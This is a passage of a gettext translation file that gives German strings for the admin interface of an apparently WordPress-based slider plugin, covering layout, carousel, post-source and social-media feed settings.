admin/views/builder-slider-forms.php:55 #: admin/views/builder-slider-forms.php:194 msgid "Layout" msgstr "Layout" #: admin/views/builder-slider-forms.php:56 #: admin/views/builder-slider-forms.php:202 #: admin/views/builder-nav-forms.php:832 msgid "Carousel" msgstr "Karussell" #: admin/views/builder-slider-forms.php:58 msgid "Defaults" msgstr "Voreinstellungen" #: admin/views/builder-slider-forms.php:59 msgid "General" msgstr "Allgemeines" #: admin/views/builder-slider-forms.php:60 #: admin/views/builder-slide-forms.php:30 #: admin/views/builder-layer-forms.php:35 #: admin/views/builder-layer-forms.php:795 msgid "On Scroll" msgstr "Beim Scrollen" #: admin/views/builder-slider-forms.php:61 #: admin/views/builder-slider-forms.php:97 msgid "Spinner" msgstr "Spinner" #: admin/views/builder-slider-forms.php:63 #: admin/views/builder-layer-forms.php:1161 msgid "Advanced" msgstr "Fortgeschritten" #: admin/views/builder-slider-forms.php:65 msgid "As Modal" msgstr "Als Modal" #: admin/views/builder-slider-forms.php:74 msgid "Module Naming" msgstr "Modul Benennung" #: admin/views/builder-slider-forms.php:76 msgid "Enter a Module name" msgstr "Geben Sie einen Modulnamen ein" #: admin/views/builder-slider-forms.php:77 #: admin/includes/shortcode_generator/shortcode_generator.class.php:226 msgid "Alias" msgstr "Alias" #: admin/views/builder-slider-forms.php:77 msgid "enter-a-module-name" msgstr "Geben Sie einen Modulnamen ein" #: admin/views/builder-slider-forms.php:78 #: admin/views/builder-slider-forms.php:172 msgid "Shortcode" msgstr "Shortcode" #: admin/views/builder-slider-forms.php:79 #: admin/views/builder-slider-forms.php:173 msgid "Copy Shortcode" msgstr "Shortcode kopieren" #: admin/views/builder-slider-forms.php:83 #: admin/views/builder-slide-forms.php:428 msgid "" "Place the shortcode on the page or post where you want to show this module." msgstr "" "Platzieren Sie den Shortcode auf der Seite oder im Beitrag, auf der Sie " "dieses Modul anzeigen möchten." #: admin/views/builder-slider-forms.php:95 msgid "Spinner Settings" msgstr "Spinner-Einstellungen" #: admin/views/builder-slider-forms.php:119 msgid "Spinner Color" msgstr "Spinner Farbe" #: admin/views/builder-slider-forms.php:142 msgid "Slider as Modal" msgstr "Slider als Modal" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:302 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1276 #: admin/views/builder-layer-forms.php:1300 #: admin/views/builder-layer-forms.php:1321 msgid "Left" msgstr "Links" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:303 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:145 admin/views/builder-nav-forms.php:146 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:443 admin/views/builder-nav-forms.php:444 #: admin/views/builder-nav-forms.php:626 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1277 #: admin/views/builder-layer-forms.php:1282 #: admin/views/builder-layer-forms.php:1301 #: admin/views/builder-layer-forms.php:1306 #: admin/views/builder-layer-forms.php:1308 #: admin/views/builder-layer-forms.php:1322 #: admin/views/builder-layer-forms.php:1325 #: admin/views/builder-layer-forms.php:1327 msgid "Center" msgstr "Zentriert" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:304 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1278 #: admin/views/builder-layer-forms.php:1304 #: admin/views/builder-layer-forms.php:1323 msgid "Right" msgstr "Rechts" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1183 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1281 #: admin/views/builder-layer-forms.php:1305 #: admin/views/builder-layer-forms.php:1324 msgid "Top" msgstr "Oben" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1184 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1283 #: admin/views/builder-layer-forms.php:1307 #: admin/views/builder-layer-forms.php:1326 msgid "Bottom" msgstr "Unten" #: admin/views/builder-slider-forms.php:149 #: admin/views/builder-slider-forms.php:336 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:251 #: admin/views/builder-nav-forms.php:268 admin/views/builder-nav-forms.php:397 #: admin/views/builder-nav-forms.php:416 admin/views/builder-nav-forms.php:580 #: admin/views/builder-nav-forms.php:599 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:579 msgid "Position" msgstr "Position" #: admin/views/builder-slider-forms.php:155 msgid "Use Cover" msgstr "Cover verwenden" #: admin/views/builder-slider-forms.php:161 msgid "Cover Color" msgstr "Cover Farbe" #: admin/views/builder-slider-forms.php:165 msgid "Body Class" msgstr "Body Klasse" #: admin/views/builder-slider-forms.php:168 msgid "Toggle Document Body Class on Open and Close of the Modal." msgstr "" "Aktivieren oder Deaktivieren der Dokument Body Klasse beim Öffnen und " "Schließen des Modals." #: admin/views/builder-slider-forms.php:177 msgid "" "Place the shortcode on the page or post where you want to show this modal." msgstr "" "Platzieren Sie den Shortcode auf der Seite oder im Beitrag, auf der Sie " "dieses Modal anzeigen möchten." #: admin/views/builder-slider-forms.php:189 msgid "Slider Layout" msgstr "Slider-Layout" #: admin/views/builder-slider-forms.php:198 #: admin/views/builder-slider-forms.php:475 admin/views/modals-builder.php:322 #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-slide-forms.php:526 #: admin/views/builder-layer-forms.php:198 #: admin/views/builder-layer-forms.php:1269 msgid "Type" msgstr "Typ" #: admin/views/builder-slider-forms.php:200 #: admin/views/builder-slider-forms.php:948 #: admin/views/builder-nav-forms.php:612 msgid "Slider" msgstr "Slider" #: admin/views/builder-slider-forms.php:201 #: admin/views/builder-layer-forms.php:469 msgid "Scene" msgstr "Szene" #: admin/views/builder-slider-forms.php:208 msgid "Sizing" msgstr "Dimensionierung" #: admin/views/builder-slider-forms.php:210 msgid "Auto" msgstr "Auto" #: admin/views/builder-slider-forms.php:211 msgid "Full-Width" msgstr "Gesamtbreite" #: admin/views/builder-slider-forms.php:212 msgid "Full-Screen" msgstr "Vollbildschirm" #: admin/views/builder-slider-forms.php:221 msgid "Layer Area Size" msgstr "Größe des Layerbereichs" #: admin/views/builder-slider-forms.php:224 #: admin/views/builder-slider-forms.php:232 #: admin/views/builder-slider-forms.php:240 #: admin/views/builder-slider-forms.php:248 msgid "Browser Width" msgstr "Browser Breite" #: admin/views/builder-slider-forms.php:260 msgid "Decrease Module Height" msgstr "Modul Höhe verringern" #: admin/views/builder-slider-forms.php:262 msgid "by Container" msgstr "mit dem Container" #: admin/views/builder-slider-forms.php:262 msgid "Enter Container .class or #id" msgstr "Geben Sie Container .class oder #id ein" #: admin/views/builder-slider-forms.php:264 msgid "by PX or %" msgstr "nach PX oder %" #: admin/views/builder-slider-forms.php:266 msgid "Dont Force Fullwidth" msgstr "Volle Breite nicht erzwingen" #: admin/views/builder-slider-forms.php:273 #: admin/views/builder-slider-forms.php:1202 msgid "Advanced Settings" msgstr "Erweiterte Einstellungen" #: admin/views/builder-slider-forms.php:277 msgid "Max Width" msgstr "Maximale Breite" #: admin/views/builder-slider-forms.php:278 msgid "Min Height" msgstr "Min. Höhe" #: admin/views/builder-slider-forms.php:279 msgid "Wrapper Max Height" msgstr "Wrapper Max Höhe" #: admin/views/builder-slider-forms.php:282 msgid "Keep Breakpoint Heights" msgstr "Haltepunkthöhen behalten" #: admin/views/builder-slider-forms.php:283 msgid "Respect Ratio" msgstr "Seitenverhältnis beibehalten" #: admin/views/builder-slider-forms.php:284 msgid "Grid = Module" msgstr "Grid = Modul" #: admin/views/builder-slider-forms.php:286 msgid "Force Overflow Visible" msgstr "Überlauf Sichtbarkeit erzwingen" #: admin/views/builder-slider-forms.php:287 msgid "Fixed on Top" msgstr "Oben fixiert" #: admin/views/builder-slider-forms.php:297 msgid "Module Position within Wrapper" msgstr "Modulposition innerhalb des Wrappers" #: admin/views/builder-slider-forms.php:300 msgid "Align" msgstr "Ausrichten" #: admin/views/builder-slider-forms.php:320 msgid "Module Background" msgstr "Modul Hintergrund" #: admin/views/builder-slider-forms.php:323 msgid "Use Image" msgstr "Verwende das Bild" #: admin/views/builder-slider-forms.php:326 #: admin/views/builder-slide-forms.php:59 #: admin/views/builder-layer-forms.php:564 #: admin/views/builder-layer-forms.php:1017 msgid "BG Color" msgstr "HG Farbe" #: admin/views/builder-slider-forms.php:329 #: admin/views/builder-layer-forms.php:568 msgid "BG Image" msgstr "HG Bild" #: admin/views/builder-slider-forms.php:329 msgid "Enter External URL" msgstr "Externe URL eingeben" #: admin/views/builder-slider-forms.php:330 #: admin/views/builder-slider-forms.php:1229 #: admin/views/builder-slide-forms.php:52 #: admin/views/builder-slide-forms.php:64 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:77 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-slide-forms.php:173 #: admin/views/builder-slide-forms.php:185 #: admin/views/builder-layer-forms.php:173 #: admin/views/builder-layer-forms.php:215 #: admin/views/builder-layer-forms.php:219 #: admin/views/builder-layer-forms.php:262 msgid "Media Library" msgstr "Medienbibliothek" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left center" msgstr "Links Mittig" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left bottom" msgstr "Links Unten" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left top" msgstr "Links Oben" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center top" msgstr "Mitte Oben" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center center" msgstr "Mitte Mitte" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center bottom" msgstr "Mitte Unten" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right top" msgstr "Rechts Oben" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right center" msgstr "Rechts Mittig" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right bottom" msgstr "Rechts Unten" #: admin/views/builder-slider-forms.php:365 msgid "Border, Overlay & Shadow" msgstr "Rand, Overall und Schatten" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "Overlay" msgstr "Overlay" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "none" msgstr "Nichts" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 Black" msgstr "2 x 2 Schwarz" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 White" msgstr "2 x 2 Weiß" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 Black" msgstr "3 x 3 Schwarz" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 White" msgstr "3 x 3 Weiß" #: admin/views/builder-slider-forms.php:370 msgid "Shadow Type" msgstr "Schattentyp" #: admin/views/builder-slider-forms.php:370 msgid "No Shadow" msgstr "Kein Schatten" #: admin/views/builder-slider-forms.php:372 msgid "Gap (Border)" msgstr "Lücke (Rand)" #: admin/views/builder-slider-forms.php:382 msgid "Caraousel" msgstr "Karussell" #: admin/views/builder-slider-forms.php:385 msgid "Carousel Layout" msgstr "Karussell Layout" #: admin/views/builder-slider-forms.php:388 msgid "Infinity Scroll" msgstr "Unendliches Scrollen" #: admin/views/builder-slider-forms.php:389 msgid "Layers Visible" msgstr "Layers sichtbar" #: admin/views/builder-slider-forms.php:391 msgid "Max. Visible" msgstr "Max. Sichtbar" #: admin/views/builder-slider-forms.php:393 msgid "Stretch Slides" msgstr "Slides dehnen" #: admin/views/builder-slider-forms.php:411 #: admin/views/builder-nav-forms.php:122 admin/views/builder-nav-forms.php:175 #: admin/views/builder-nav-forms.php:322 admin/views/builder-nav-forms.php:511 #: admin/views/builder-nav-forms.php:693 admin/views/builder-slide-forms.php:21 #: admin/views/builder-slide-forms.php:383 #: admin/views/builder-layer-forms.php:32 #: admin/views/builder-layer-forms.php:1101 #: admin/views/builder-layer-forms.php:1586 msgid "Animation" msgstr "Animation" #: admin/views/builder-slider-forms.php:413 #: admin/views/builder-slider-forms.php:1057 #: admin/views/builder-slide-forms.php:461 #: admin/views/builder-layer-forms.php:1136 msgid "Easing" msgstr "Easing" #: admin/views/builder-slider-forms.php:414 msgid "Ease Speed" msgstr "Ease Speed" #: admin/views/builder-slider-forms.php:419 #: admin/views/builder-slider-forms.php:1042 #: admin/views/builder-layer-forms.php:1596 msgid "Effects" msgstr "Effekte" #: admin/views/builder-slider-forms.php:422 #: admin/views/builder-slider-forms.php:1170 #: admin/views/builder-nav-forms.php:123 admin/views/builder-nav-forms.php:176 #: admin/views/builder-nav-forms.php:323 admin/views/builder-nav-forms.php:512 #: admin/views/builder-nav-forms.php:694 #: admin/views/builder-slide-forms.php:295 msgid "Fade" msgstr "Verblassen" #: admin/views/builder-slider-forms.php:428 msgid "Rotation" msgstr "Drehung" #: admin/views/builder-slider-forms.php:435 #: admin/views/builder-layer-forms.php:1663 msgid "Scale" msgstr "Skalierung" #: admin/views/builder-slider-forms.php:460 #: admin/views/builder-slider-forms.php:693 #: admin/views/builder-slider-forms.php:775 #: admin/views/builder-slider-forms.php:810 #: admin/views/builder-slider-forms.php:840 #: admin/views/builder-slide-forms.php:42 #: admin/views/builder-slide-forms.php:56 msgid "Source" msgstr "Quelle" #: admin/views/builder-slider-forms.php:463 msgid "Post-Based" msgstr "Post-Based" #: admin/views/builder-slider-forms.php:464 admin/views/modals-builder.php:524 #: admin/views/modals-builder.php:577 msgid "WooCommerce" msgstr "WooCommerce" #: admin/views/builder-slider-forms.php:465 msgid "Flickr" msgstr "Flickr" #: admin/views/builder-slider-forms.php:469 msgid "YouTube" msgstr "YouTube" #: admin/views/builder-slider-forms.php:470 msgid "Vimeo" msgstr "Vimeo" #: admin/views/builder-slider-forms.php:477 admin/views/modals-builder.php:523 #: admin/views/modals-builder.php:541 msgid "Post" msgstr "Beitrag" #: admin/views/builder-slider-forms.php:478 msgid "Specific Post" msgstr "Bestimmter Beitrag" #: admin/views/builder-slider-forms.php:479 msgid "Current Post" msgstr "Aktueller Beitrag" #: admin/views/builder-slider-forms.php:490 msgid "Post Selection" msgstr "Beitragsauswahl" #: admin/views/builder-slider-forms.php:494 msgid "Fetch By" msgstr "Fetch Von" #: admin/views/builder-slider-forms.php:495 msgid "Categories & Tags" msgstr "Kategorien & Tags" #: admin/views/builder-slider-forms.php:496 msgid "Related" msgstr "Verwandte Beiträge" #: admin/views/builder-slider-forms.php:497 msgid "Popular" msgstr "Beliebt" #: admin/views/builder-slider-forms.php:498 msgid "Recent" msgstr "Kürzlich" #: admin/views/builder-slider-forms.php:499 msgid "Next / Previous" msgstr "Nächster / Vorheriger" #: admin/views/builder-slider-forms.php:502 msgid "Post Types:" msgstr "Beitragstypen:" #: admin/views/builder-slider-forms.php:511 msgid "Categories:" msgstr "Kategorien:" #: admin/views/builder-slider-forms.php:527 msgid "Specific Posts" msgstr "Bestimmte Beiträge" #: admin/views/builder-slider-forms.php:527 msgid "coma separated list | ex: 23,24,25" msgstr "durch Koma getrennte Liste | Beispiel: 23,24,25" #: admin/views/builder-slider-forms.php:528 msgid "Popular Posts" msgstr "Beliebte Beiträge" #: admin/views/builder-slider-forms.php:529 msgid "Recent Posts" msgstr "Neueste Beiträge" #: admin/views/builder-slider-forms.php:537 msgid "Sorting & Settings" msgstr "Sortierung & Einstellungen" #: admin/views/builder-slider-forms.php:541 msgid "Sort Posts By:" msgstr "Beiträge sortieren nach:" #: admin/views/builder-slider-forms.php:542 #: admin/views/builder-slider-forms.php:660 admin/views/modals-builder.php:545 msgid "Post ID" msgstr "Beitrags-ID" #: admin/views/builder-slider-forms.php:543 #: admin/views/builder-slider-forms.php:661 msgid "Date" msgstr "Datum" #: admin/views/builder-slider-forms.php:545 #: admin/views/builder-slider-forms.php:663 msgid "Slug" msgstr "Slug" #: admin/views/builder-slider-forms.php:546 #: admin/views/builder-slider-forms.php:664 msgid "Author" msgstr "Autor" #: admin/views/builder-slider-forms.php:547 #: admin/views/builder-slider-forms.php:665 msgid "Last Modified" msgstr "Zuletzt bearbeitet" #: admin/views/builder-slider-forms.php:548 #: admin/views/builder-slider-forms.php:666 msgid "Number Of Comments" msgstr "Anzahl der Kommentare" #: admin/views/builder-slider-forms.php:549 #: admin/views/builder-slider-forms.php:667 #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Random" msgstr "Zufällig" #: admin/views/builder-slider-forms.php:550 #: admin/views/builder-slider-forms.php:668 msgid "Unsorted" msgstr "Unsortiert" #: admin/views/builder-slider-forms.php:551 #: admin/views/builder-slider-forms.php:669 msgid "Custom Order" msgstr "Eigene Sortierung" #: admin/views/builder-slider-forms.php:565 #: admin/views/builder-slider-forms.php:671 msgid "Sort Direction" msgstr "Sortierrichtung" #: admin/views/builder-slider-forms.php:567 #: admin/views/builder-slider-forms.php:673 msgid "Descending" msgstr "Absteigend" #: admin/views/builder-slider-forms.php:568 #: admin/views/builder-slider-forms.php:674 msgid "Ascending" msgstr "Aufsteigend" #: admin/views/builder-slider-forms.php:572 #: admin/views/builder-slider-forms.php:677 msgid "Max Posts" msgstr "Max Beiträge" #: admin/views/builder-slider-forms.php:573 #: admin/views/builder-slider-forms.php:678 msgid "Limit Excerpt" msgstr "Auszug begrenzen" #: admin/views/builder-slider-forms.php:587 msgid "No further source settings needed. Content is created manually." msgstr "" "Keine weiteren Quelleneinstellungen erforderlich. Der Inhalt wird manuell " "erstellt." #: admin/views/builder-slider-forms.php:597 msgid "Types & Categories" msgstr "Typen & Kategorien" #: admin/views/builder-slider-forms.php:601 msgid "Types" msgstr "Typen" #: admin/views/builder-slider-forms.php:613 msgid "Product Categories" msgstr "Produktkategorien" #: admin/views/builder-slider-forms.php:632 #: admin/views/builder-slide-forms.php:22 #: admin/views/builder-slide-forms.php:321 #: admin/views/builder-slide-forms.php:324 msgid "Filters" msgstr "Filter" #: admin/views/builder-slider-forms.php:636 #: admin/views/builder-slider-forms.php:640 msgid "From" msgstr "Von" #: admin/views/builder-slider-forms.php:637 #: admin/views/builder-slider-forms.php:641 msgid "To" msgstr "Zu" #: admin/views/builder-slider-forms.php:643 msgid "In Stock Only" msgstr "Nur auf Lager" #: admin/views/builder-slider-forms.php:644 msgid "Featured Only" msgstr "Nur Empfohlene" #: admin/views/builder-slider-forms.php:649 msgid "Sorting & Limitations" msgstr "Sortierung & Einschränkungen" #: admin/views/builder-slider-forms.php:652 msgid "Sort Prod. By" msgstr "Sort Prod. nach" #: admin/views/builder-slider-forms.php:687 msgid "Flickr Settings" msgstr "Flickr Einstellungen" #: admin/views/builder-slider-forms.php:690 #: admin/views/builder-slider-forms.php:728 #: admin/views/builder-slider-forms.php:746 #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 #: admin/views/builder-slider-forms.php:838 msgid "Amount of Slides" msgstr "Anzahl der Slides" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "Cache (sec)" msgstr "Cache (Sek.)" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:729 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "i.e. 1200" msgstr "z. B. 1200" #: admin/views/builder-slider-forms.php:692 #: admin/views/builder-slider-forms.php:802 msgid "API Key" msgstr "API-Schlüssel" #: admin/views/builder-slider-forms.php:692 msgid "Enter your Api Key" msgstr "Geben Sie Ihren Api-Schlüssel ein" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "Display a user's public photos" msgstr "Zeigen Sie die öffentlichen Fotos eines Benutzers an" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "User Public Photos" msgstr "Öffentliche Benutzerfotos" #: admin/views/builder-slider-forms.php:695 msgid "Display a certain photoset from a user" msgstr "Zeigen Sie einen bestimmten Fotosatz eines Benutzers an" #: admin/views/builder-slider-forms.php:695 msgid "User Photoset" msgstr "Benutzer Fotosatz" #: admin/views/builder-slider-forms.php:696 msgid "Display a gallery" msgstr "Galerie anzeigen" #: admin/views/builder-slider-forms.php:696 msgid "Gallery" msgstr "Galerie" #: admin/views/builder-slider-forms.php:697 msgid "Display a group's photos" msgstr "Zeigen Sie die Fotos einer Gruppe an" #: admin/views/builder-slider-forms.php:697 msgid "Groups' Photos" msgstr "Gruppenfotos" #: admin/views/builder-slider-forms.php:700 msgid "User URL:" msgstr "Benutzer-URL:" #: admin/views/builder-slider-forms.php:700 msgid "Enter User URL" msgstr "Geben Sie die Benutzer-URL ein" #: admin/views/builder-slider-forms.php:702 msgid "Photoset" msgstr "Fotosatz" #: admin/views/builder-slider-forms.php:702 msgid "Pick an Item" msgstr "Wähle ein Item" #: admin/views/builder-slider-forms.php:706 msgid "Gallery URL" msgstr "Galerie-URL" #: admin/views/builder-slider-forms.php:706 msgid "Enter Gallery URL" msgstr "Geben Sie die Galerie-URL ein" #: admin/views/builder-slider-forms.php:709 msgid "Group URL" msgstr "Gruppen-URL" #: admin/views/builder-slider-forms.php:709 msgid "Enter Group URL" msgstr "Geben Sie die Gruppen-URL ein" #: admin/views/builder-slider-forms.php:714 msgid "" "Read " "here how to receive your Flickr API key" msgstr "" "Lesen Sie hier , wie Sie Ihren Flickr-API-Schlüssel erhalten" #: admin/views/builder-slider-forms.php:725 msgid "Instagram Settings" msgstr "Instagram-Einstellungen" #: admin/views/builder-slider-forms.php:728 msgid "Slides:" msgstr "Slides:" #: admin/views/builder-slider-forms.php:729 msgid "Cache (sec):" msgstr "Cache (Sek.):" #: admin/views/builder-slider-forms.php:730 msgid "Source:" msgstr "Quelle:" #: admin/views/builder-slider-forms.php:733 msgid "User Name:" msgstr "Nutzername:" #: admin/views/builder-slider-forms.php:733 #: admin/views/builder-slider-forms.php:847 msgid "Enter User Name" msgstr "Benutzername eingeben" #: admin/views/builder-slider-forms.php:743 msgid "Twitter Settings" msgstr "Twitter Einstellungen" #: admin/views/builder-slider-forms.php:746 msgid "Slides (<500)" msgstr "Slides (<500)" #: admin/views/builder-slider-forms.php:748 msgid "Twitter @" msgstr "Twitter @" #: admin/views/builder-slider-forms.php:748 msgid "Enter Twitter Name" msgstr "Twitter Name eingeben" #: admin/views/builder-slider-forms.php:749 msgid "Text Tweets" msgstr "Text-Tweets" #: admin/views/builder-slider-forms.php:750 msgid "ReTweets" msgstr "ReTweets" #: admin/views/builder-slider-forms.php:751 msgid "Replies" msgstr "Antworten" #: admin/views/builder-slider-forms.php:752 msgid "Consumer Key" msgstr "Consumer Key" #: admin/views/builder-slider-forms.php:752 msgid "Enter Consumer Key" msgstr "Consumer Key eingeben" #: admin/views/builder-slider-forms.php:753 msgid "Cons. Secret" msgstr "Cons. Geheimnis" #: admin/views/builder-slider-forms.php:753 msgid "Enter Secret" msgstr "Secret eingeben" #: admin/views/builder-slider-forms.php:754 msgid "Access Token" msgstr "Access Token" #: admin/views/builder-slider-forms.php:754 msgid "Enter Access Token" msgstr "Access Token eingeben" #: admin/views/builder-slider-forms.php:755 msgid "Access Secret" msgstr "Access Secret" #: admin/views/builder-slider-forms.php:755 msgid "Enter Access Secret" msgstr "Access Secret eingeben" #: admin/views/builder-slider-forms.php:759 msgid "" "Please " "register your application with Twitter
            to get the right values" msgstr "" "Bitte " "registrieren Sie Ihre Application bei Twitter um die richtigen Werte zu " "erhalten" #: admin/views/builder-slider-forms.php:769 msgid "FaceBook Settings" msgstr "FaceBook-Einstellungen" #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 msgid "Slides (<25)" msgstr "Slides (<25)" #: admin/views/builder-slider-forms.php:774 msgid "Page URL" msgstr "Seiten URL" #: admin/views/builder-slider-forms.php:774 msgid "Enter FaceBook Page URL" msgstr "Geben Sie die URL der Facebook-Seite ein" #: admin/views/builder-slider-forms.php:776 #: admin/views/builder-slider-forms.php:842 #: admin/views/builder-slider-forms.php:850 msgid "Album" msgstr "Album" #: admin/views/builder-slider-forms.php:777 msgid "TimeLine" msgstr "Timeline" #: admin/views/builder-slider-forms.php:780 msgid "Select Album" msgstr "Album auswählen" #: admin/views/builder-slider-forms.php:782 msgid "APP ID" msgstr "APP ID" #: admin/views/builder-slider-forms.php:782 msgid "Enter the App ID" msgstr "Geben Sie die App-ID ein" #: admin/views/builder-slider-forms.php:783 msgid "APP Secret" msgstr "APP Secret" #: admin/views/builder-slider-forms.php:783 msgid "Enter the App Secret" msgstr "Geben Sie das App-Geheimnis ein" #: admin/views/builder-slider-forms.php:787 msgid "" "Please register your Website app with Facebook
            to " "get the right values" msgstr "" "Bitte registrieren Sie Ihre Website-App bei " "Facebook, um die richtigen Werte zu erhalten" #: admin/views/builder-slider-forms.php:797 msgid "YouTube Settings" msgstr "YouTube-Einstellungen" #: admin/views/builder-slider-forms.php:802 msgid "Enter Api Key" msgstr "Api Key eingeben" #: admin/views/builder-slider-forms.php:806 msgid "" "Find information about the YouTube API key " "here" msgstr "" "Informationen zum YouTube-API-Schlüssel " "finden Sie hier " #: admin/views/builder-slider-forms.php:809 msgid "Channel ID" msgstr "Kanal ID" #: admin/views/builder-slider-forms.php:809 msgid "Enter YouTube Channel ID" msgstr "YouTube Kanal ID eingeben" #: admin/views/builder-slider-forms.php:811 msgid "Playlist" msgstr "Playlist" #: admin/views/builder-slider-forms.php:812 #: admin/views/builder-slider-forms.php:844 #: admin/views/builder-slider-forms.php:856 msgid "Channel" msgstr "Kanal" #: admin/views/builder-slider-forms.php:815 msgid "Select Playlist" msgstr "Playlist auswählen" #: admin/views/builder-slider-forms.php:820 msgid "" "See how to find the Youtube channel ID here" msgstr "" "Weitere Informationen zum Finden der Youtube-Kanal-ID hier " #: admin/views/builder-slider-forms.php:825 msgid "" "The “YouTube Stream” content source is used to display a full stream of " "videos from a channel/playlist.
            If you want to display a single youtube " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" "Die Inhaltsquelle \"YouTube-Stream\" wird verwendet, um einen vollständigen " "Stream von Videos aus einem Kanal / einer Wiedergabeliste anzuzeigen.
